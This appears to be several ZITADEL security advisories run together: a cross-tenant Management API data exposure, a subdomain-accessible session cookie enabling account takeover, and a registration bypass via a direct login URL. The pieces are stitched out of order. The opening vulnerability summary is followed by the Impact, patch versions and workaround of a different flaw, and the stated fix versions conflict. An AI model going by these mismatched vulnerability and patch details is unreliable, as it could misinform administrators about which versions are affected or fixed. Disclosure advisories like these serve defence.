If there are any questions or comments about this advisory, please send an email to security@zitadel.com

Credits

ZITADEL extends thanks once again to Amit Laish from GE Vernova for finding and reporting the vulnerability.

ZITADEL is an open source identity management platform. Prior to 3.4.8 and 4.12.2, a vulnerability in Zitadel's Management API has been reported, which allowed authenticated users holding a valid low-privilege token (e.g., project.read, project.grant.read, or project.app.read) to retrieve management-plane information belonging to other organizations by specifying a different tenant’s projectid, grantid, or appid. This vulnerability is fixed in 3.4.8 and 4.12.2.

Impact ZITADEL uses a cookie to identify the user agent (browser) and its user sessions.

Although the cookie was handled according to best practices, it was accessible on subdomains of the ZITADEL instance. An attacker could take advantage of this and provide a malicious link hosted on the subdomain to the user to gain access to the victim’s account in certain scenarios. A possible victim would need to login through the malicious link for this exploit to work.

If the possible victim already had the cookie present, the attack would not succeed. The attack would further only be possible if there was an initial vulnerability on the subdomain. This could either be the attacker being able to control DNS or a XSS vulnerability in an application hosted on a subdomain.

Patches 2.x versions are fixed on >= 2.46.0 2.45.x versions are fixed on >= 2.45.1 2.44.x versions are fixed on >= 2.44.3

ZITADEL recommends upgrading to the latest versions available in due course.

Note that applying the patch will invalidate the current cookie and thus users will need to start a new session and existing sessions (user selection) will be empty.

Workarounds For self-hosted environments unable to upgrade to a patched version, prevent setting the following cookie name on subdomains of your ZITADEL instance (e.g. within your WAF): Secure-zitadel-useragent

References None

Questions If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits Thanks to Amit Laish – GE Vernova for finding and reporting the vulnerability.

Impact Zitadel allows administrators to disable the user self-registration. Due to a missing security check in versions prior to 2.63.4, disabling the "User Registration allowed" option only hid the registration button on the login page. Users could bypass this restriction by directly accessing the registration URL (/ui/login/loginname) and register a user that way.

Patches

2.x versions are fixed on >= 2.64.0 2.63.x versions are fixed on >= 2.63.5 2.62.x versions are fixed on >= 2.62.7 2.61.x versions are fixed on >= 2.61.4 2.60.x versions are fixed on >= 2.60.4 2.59.x versions are fixed on >= 2.59.5 2.58.x versions are fixed on >= 2.58.7

Workarounds Updating to the patched version is the recommended solution.

Questions If you have any questions or comments about this advisory, please email us at security@zitadel.com

Credits Thanks to @sevensolutions and @evilgensec for disclosing this!